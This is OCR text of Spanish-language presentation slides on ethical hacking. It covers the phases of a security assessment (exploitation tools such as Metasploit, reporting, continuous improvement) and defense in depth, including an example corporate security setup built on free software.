* Técnicas de Ocultamiento: dado que muchas herramientas pueden
monitorear determinados procesos, se hace necesario para en analista
ocultarse en otro proceso menos ruidoso.
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Hacking Etico —Fases de Analisis de Seguridad.

EXPLOTACION DE VULNERABILIDADES "TOOLS"

Algunas de las herramientas importantes en
esta fase son las siguientes:

http://www.metasploit.com/

& CORE

SECURITY TECHNOLOGQIES

CANVAS ¢ ?3‘ CORE IMPACT Pro Overview

http://www.coresecurity.com/content/c

http://www.immunitysec.com/products- ore-impact-overview

canvas.shtml
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Hacking Etico —Fases de Analisis de Seguridad.

5. PRESENTACION DE NFORMES:

“Es la quinta fase, y en la que se ve reflejado el
analisis del evaluador de seguridad, aqui se plasman
todos los hallazgos, las no conformidades, las
opciones para mejorar, y las conclusiones vy
recomendaciones.

v Un buen reporte, un buen analisis
v’ Diversidad en reportes (Técnicos,
Ejecutivos)

“Un informe que no sea
entendidos por la Direccidon o
Gerencia de una organizacion,

v’ No generar Alarmasiiiiiii piLERTP‘ hace que se pierde todo el
v" Impactos de Afectacion u esfuerzo y trabajo realzado en

las etapas anteriores
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Hacking Etico —Fases de Analisis de Seguridad.
MEJORAMIENTO CONTINUO:

« Tomar decisiones

* Evaluaciones posteriores (Auditorias) Actuar |Planificar
* Orientacion hacia el cumplimiento -
* Toma de consciencia 0

* Cultura de seguridad de la informacion. Verificar | Hacer




www.dsteamseguridad.com

.Egﬁ Hacking Etico “VS” Defensa en Profundidad

Defensa en Profundidad —Definicion

Defensa en profundidad: Es llevar el proceso de la seguridad de
la informacion de forma segmentada, teniendo varias lineas de
defensa. ( )

Fuente: http://blogs.eset-la.com
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Defensa en Profundidad —Definicion

Arsenal Informatico *DEFENSA* al Alcance de Todos: Asi como existe
un arsenal de ataque, también hay proyectos y documentacion
relacionada con la defensa en profundidad de |la informacion.
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Defensa en Profundidad — 3 (PPP)

Modelo de las 3 P orientadas a la seguridad: Aun teniendo al alcance
todos estos proyectos de seguridad de alta calidad y exitosos, falta
complementarlos con dos factores importante, que sumandos al Software
y a los Appliance de seguridad, nos complementa de forma integral la
seguridad de la informacion. Estos son Procesos y Personas

/ P¢PP\)

roductos rocesos Personas
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Ejemplo de aplicacion de un entorno seguridad de la informacion
corporativa (Ejemplo con Software Libre)

“El Gerente de la empresa XYZ, le ha indicado al encargado del area de
informatica, implementar soluciones de seguridad, y que la solucion sea
efectiva y de facil gestion”. Entre algunas de las condiciones técnicas
para solucion debe de estar:

v’ Control de servicios de Internet (Pornografia, Warez, Etc)
v’ Sistema de Filtrado de Paquetes (Firewall)

v’ Envioé seguro de correo electrénico confidencial

v’ Sistema NAS para replicacion del servidor FILESYSTEM

v’ Interconexion de sedes con VPN

v’ Tolerancia fallos enlaces VPN (Internet)

v’ Segmentar servidor Web (DMZ)
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NAS- Servidor Archivos DMZ Servidor
STORAGE Web

UTM.- INTERNET-VPN  yTm-

Appllance Appliance

Sede Central Sede remota

ﬂa”GnuF’*G ﬂa”GnuF’*p
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Defensa en Profundidad
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Conclusiones:

v’ El Software Libre permite Implementar, mantener y mejorar los
sistemas de seguridad de la informacion, a un costo bajo y a una
alta calidad.

v’ La seguridad de la informacidn se logra mediante CULTURA,
EDUCACION , CONCIENTIZACION.

v’ El Software libre, permite a los profesionales de la seguridad,
poder aprender de forma representativa la configuracion y
aplicacion de sistemas de seguridad en entorno de “no
produccion”.
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